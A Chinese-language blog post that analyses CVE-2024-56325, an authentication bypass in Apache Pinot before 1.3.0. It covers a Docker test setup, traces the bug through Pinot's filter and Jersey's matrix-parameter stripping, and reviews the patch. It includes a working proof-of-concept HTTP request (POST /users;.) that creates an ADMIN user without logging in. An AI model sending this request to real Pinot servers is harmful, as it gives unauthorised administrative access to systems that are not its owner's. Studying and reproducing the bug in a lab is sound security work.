问答
发起
提问
文章
攻防
活动
Toggle navigation
首页
(current)
问答
商城
实战攻防技术
漏洞分析与复现
NEW
活动
摸鱼办
搜索
登录
注册
CVE-2024-56325: Apache Pinot Authentication bypass 漏洞分析
漏洞分析
Apache Pinot 是一个实时分布式的 OLAP 数据存储和分析系统。使用它实现低延迟可伸缩的实时分析。Pinot 从离线数据源(包括 Hadoop 和各类文件)和在线数据源(如 Kafka)中攫取数据进行分析。 Apache Pinot 存在身份认证绕过漏洞。如果路径不包含 / 且包含 . 则不需要身份验证。
前言 == 前两天看到这条通告,一搜发现评分 9.8,于是分析一下具体怎么个事 <https://www.openwall.com/lists/oss-security/2025/03/27/8> 漏洞简介 ==== Apache Pinot 是一个实时分布式的 OLAP 数据存储和分析系统。使用它实现低延迟可伸缩的实时分析。Pinot 从离线数据源(包括 Hadoop 和各类文件)和在线数据源(如 Kafka)中攫取数据进行分析。 Apache Pinot 存在身份认证绕过漏洞。如果路径不包含 `/` 且包含 `.` 则不需要身份验证。 影响版本 ==== Apache Pinot < 1.3.0 环境搭建 ==== 参考官方文档 <https://docs.pinot.apache.org/basics/getting-started/running-pinot-in-docker> 这里需要开启认证机制(文档给的命令是没开的),命令中设置 `-type` 参数为 auth 即可 ```bash docker run \ -p 2123:2123 \ -p 9000:9000 \ -p 8000:8000 \ -p 7050:7050 \ -p 6000:6000 \ apachepinot/pinot:1.2.0 QuickStart \ -type auth ``` 如需调试可以用以下操作 首先启动容器,替换 entrypoint 命令为 /bin/bash ```bash docker run -it -p 5005:5005 -p 2123:2123 -p 9000:9000 -p 8000:8000 -p 7050:7050 -p 6000:6000 --entrypoint /bin/bash apachepinot/pinot:1.2.0 ``` 然后自行手动启动,并添加调试的参数`-agentlib:jdwp=transport=dt_socket,server=y,suspend=n,address=*:5005` ```bash /usr/lib/jvm/java-17-amazon-corretto/bin/java --add-opens=java.base/java.nio=ALL-UNNAMED --add-opens=java.base/sun.nio.ch=ALL-UNNAMED --add-opens=java.base/java.lang=ALL-UNNAMED --add-opens=java.base/java.util=ALL-UNNAMED --add-opens=java.base/java.lang.reflect=ALL-UNNAMED -Xms4G -Xmx4G -Dpinot.admin.system.exit=false -Dplugins.dir=/opt/pinot/plugins -classpath /opt/pinot/lib/*:/opt/pinot/plugins/pinot-stream-ingestion/pinot-pulsar/pinot-pulsar-1.2.0-shaded.jar:/opt/pinot/plugins/pinot-stream-ingestion/pinot-kinesis/pinot-kinesis-1.2.0-shaded.jar:/opt/pinot/plugins/pinot-stream-ingestion/pinot-kafka-2.0/pinot-kafka-2.0-1.2.0-shaded.jar:/opt/pinot/plugins/pinot-batch-ingestion/pinot-batch-ingestion-standalone/pinot-batch-ingestion-standalone-1.2.0-shaded.jar:/opt/pinot/plugins/pinot-minion-tasks/pinot-minion-builtin-tasks/pinot-minion-builtin-tasks-1.2.0.jar:/opt/pinot/plugins/pinot-segment-uploader/pinot-segment-uploader-default/pinot-segment-uploader-default-1.2.0.jar:/opt/pinot/plugins/pinot-segment-writer/pinot-segment-writer-file-based/pinot-segment-writer-file-based-1.2.0.jar:/opt/pinot/plugins/pinot-metrics/pinot-dropwizard/pinot-dropwizard-1.2.0-shaded.jar:/opt/pinot/plugins/pinot-metrics/pinot-yammer/pinot-yammer-1.2.0-shaded.jar:/opt/pinot/plugins/pinot-input-format/pinot-avro/pinot-avro-1.2.0-shaded.jar:/opt/pinot/plugins/pinot-input-format/pinot-csv/pinot-csv-1.2.0-shaded.jar:/opt/pinot/plugins/pinot-input-format/pinot-json/pinot-json-1.2.0-shaded.jar:/opt/pinot/plugins/pinot-input-format/pinot-parquet/pinot-parquet-1.2.0-shaded.jar:/opt/pinot/plugins/pinot-input-format/pinot-protobuf/pinot-protobuf-1.2.0-shaded.jar:/opt/pinot/plugins/pinot-input-format/pinot-thrift/pinot-thrift-1.2.0-shaded.jar:/opt/pinot/plugins/pinot-input-format/pinot-orc/pinot-orc-1.2.0-shaded.jar:/opt/pinot/plugins/pinot-input-format/pinot-confluent-avro/pinot-confluent-avro-1.2.0-shaded.jar:/opt/pinot/plugins/pinot-input-format/pinot-clp-log/pinot-clp-log-1.2.0-shaded.jar:/opt/pinot/plugins/pinot-file-system/pinot-adls/pinot-adls-1.2.0-shaded.jar:/opt/pinot/plugins/pinot-file-system/pinot-hdfs/pinot-hdfs-1.2.0-shaded.jar:/opt/pinot/plugins/pinot-file-system/pinot-gcs/pinot-gcs-1.2.0-shaded.jar:/opt/pinot/plugins/pinot-file-system/pinot-s3/pinot-s3-1.2.0-shaded.jar:/opt/pinot/plugins/pinot-environment/pinot-azure/pinot-azure-1.2.0-shaded.jar -Dapp.name=pinot-admin -Dapp.pid=1 -Dapp.repo=/opt/pinot/lib -Dapp.home=/opt/pinot -Dbasedir=/opt/pinot -agentlib:jdwp=transport=dt_socket,server=y,suspend=n,address=*:5005 org.apache.pinot.tools.admin.PinotAdministrator QuickStart -type auth ```  访问 ip:9000 端口即可看到 Apache Pinot Controller 的认证页面  IDEA 远程调试的步骤这里不再赘述。 Apache Pinot 下载地址 <https://pinot.apache.org/download/> 漏洞复现 ==== 预期请求,未认证会响应 401 ```http POST /users HTTP/1.1 Content-Type: application/json User-Agent: Mozilla/5.0 (Linux; U; Android 3.0.1; fr-fr; A500 Build/HRI66) AppleWebKit/534.13 (KHTML, like Gecko) Version/4.0 Safari/534.13 Accept: */* Host: Content-Length: 180 { "username": "hack10", "password": "hack", "component": "CONTROLLER", "role": "ADMIN", "tables": [], "permissions": [], "usernameWithComponent": "hack_CONTROLLER" } ```  构造如下 Poc 可成功绕过身份认证 ```http POST /users;. HTTP/1.1 Content-Type: application/json User-Agent: Mozilla/5.0 (Linux; U; Android 3.0.1; fr-fr; A500 Build/HRI66) AppleWebKit/534.13 (KHTML, like Gecko) Version/4.0 Safari/534.13 Accept: */* Host: Content-Length: 180 { "username": "hack10", "password": "hack", "component": "CONTROLLER", "role": "ADMIN", "tables": [], "permissions": [], "usernameWithComponent": "hack_CONTROLLER" } ```  漏洞分析 ==== 主要关注 org.apache.pinot.controller.api 这个包 判断请求是否需要认证的方法为 `org.apache.pinot.controller.api.access.AuthenticationFilter#filter` ```java public void filter(ContainerRequestContext requestContext) throws IOException { Request request = (Request)this._requestProvider.get(); Method endpointMethod = this._resourceInfo.getResourceMethod(); AccessControl accessControl = this._accessControlFactory.create(); String endpointUrl = request.getRequestURI().substring(request.getContextPath().length()); UriInfo uriInfo = requestContext.getUriInfo(); if (!isBaseFile(uriInfo.getPath()) && !UNPROTECTED_PATHS.contains(uriInfo.getPath())) { if (!accessControl.protectAnnotatedOnly() || endpointMethod.isAnnotationPresent(Authenticate.class)) { if (!endpointMethod.isAnnotationPresent(ManualAuthorization.class)) { String tableName = extractTableName(uriInfo.getPathParameters(), uriInfo.getQueryParameters()); if (tableName != null) { tableName = DatabaseUtils.translateTableName(tableName, this._httpHeaders); } AccessType accessType = this.extractAccessType(endpointMethod); AccessControlUtils.validatePermission(tableName, accessType, this._httpHeaders, endpointUrl, accessControl); FineGrainedAuthUtils.validateFineGrainedAuth(endpointMethod, uriInfo, this._httpHeaders, accessControl); } } } } ``` 分析逻辑可以发现,这里的判断由两个因素组成,满足其中一个即可绕过认证,后者就是设置好的白名单,用于公共接口。  跟进`org.apache.pinot.controller.api.access.AuthenticationFilter#isBaseFile`  可以发现漏洞公告所提到的 "If the path does not contain / and contain . authentication is not required"。因此当这个函数返回为 True 时,filter 方法的 if 判断则为 false,即无需认证。 然后我们来看如何在必须包含`.`的情况下访问正常的接口,也就是让这个点号不影响我们路由的解析。参考这篇文章可以找到 Apache Pinot 用的这款RESTful框架 —— jersey 的路由解析的逻辑和相关源码 [https://blog.csdn.net/qq\_30062125/article/details/83758334](https://blog.csdn.net/qq_30062125/article/details/83758334) 在`org.glassfish.jersey.server.internal.routing.RoutingStage#apply`打上断点 ```java public Stage.Continuation<RequestProcessingContext> apply(RequestProcessingContext context) { ContainerRequest request = context.request(); context.triggerEvent(Type.MATCHING_START); TracingLogger tracingLogger = TracingLogger.getInstance(request); long timestamp = tracingLogger.timestamp(ServerTraceEvent.MATCH_SUMMARY); Stage.Continuation var8; try { RoutingResult result = this._apply(context, this.routingRoot); Stage<RequestProcessingContext> nextStage = null; if (result.endpoint != null) { context.routingContext().setEndpoint(result.endpoint); nextStage = this.getDefaultNext(); } var8 = Continuation.of(result.context, nextStage); } finally { tracingLogger.logDuration(ServerTraceEvent.MATCH_SUMMARY, timestamp, new Object[0]); } return var8; } ``` 可以看到这里使用了前缀匹配`Type.MATCHING_START`,然后继续调试跟进`org.glassfish.jersey.server.internal.routing.RoutingStage#_apply`  然后跟进`org.glassfish.jersey.server.internal.routing.MatchResultInitializerRouter#apply`,这个方法在初始化路由匹配信息 ```java public Router.Continuation apply(RequestProcessingContext processingContext) { RoutingContext rc = processingContext.routingContext(); rc.pushMatchResult(new SingleMatchResult("/" + processingContext.request().getPath(false))); return Continuation.of(processingContext, this.rootRouter); } ``` 获取请求路径时参数为 false,即设置了不进行 url 解码,然后传入到 SingleMatchResult 类进行实例化  跟进 `SingleMatchResult` 类实例化的逻辑,可以发现这里对传入的路径进行了处理,简单说就是忽略 `;`和`/`之间的内容,包括`;`,如果 `;`后面没有下一个`/`则忽略之后所有内容。例如 `/aaa;bbb/cccc;dddd`传入该函数后会返回 `/aaa/ccc`。 ```php public SingleMatchResult(String path) { this.path = stripMatrixParams(path); } private static String stripMatrixParams(String path) { int e = path.indexOf(59); if (e == -1) { return path; } else { int s = 0; StringBuilder sb = new StringBuilder(); do { sb.append(path, s, e); s = path.indexOf(47, e + 1); if (s == -1) { break; } e = path.indexOf(59, s); } while(e != -1); if (s != -1) { sb.append(path, s, path.length()); } return sb.toString(); } } ``` 显然这里就是让路径中包含`.`号,而不影响路由解析的好办法。于是 Poc 中构造`;.`在正常接口后进行绕过认证机制。 然后给处理后的路径交给`org.glassfish.jersey.server.internal.routing.PathMatchingRouter#apply`匹配对应的路由规则,先匹配到 `/.*`这个规则  然后进一步匹配到`/users(/)?`这个规则  最终拿到对应的路由  补丁修复 ====  可以看到这里给获取到的路径也用了路由匹配时的`stripMatrixParams`方法进行处理,使点号无所遁形,也就没法构造为满足条件的路径了 结语 == 分析完发现这个漏洞还是有点鸡肋,需要没有`/`,也就是说,只能像`/aaa`这样的路由才能绕过认证,而 `/api/aaa`这种就没法绕过(难道是有可以构造的方式吗)。而且这个添加用户后,用户有哪些权限呢?因为对这款产品了解不多,确实没看出来新增的用户能干嘛(希望有大佬可以解答)。不过至少获取敏感信息还是可以做到的 
发表于 2025-04-03 10:00:00
阅读 ( 174 )
分类:
Web应用
0 推荐
收藏
0 条评论
请先
登录
后评论
ph0ebus
3 篇文章
×
发送私信
请先
登录
后发送私信
×
举报此文章
垃圾广告信息:
广告、推广、测试等内容
违规内容:
色情、暴力、血腥、敏感信息等内容
不友善内容:
人身攻击、挑衅辱骂、恶意行为
其他原因:
请补充说明
举报原因:
×
如果觉得我的文章对您有用,请随意打赏。你的支持将鼓励我继续创作!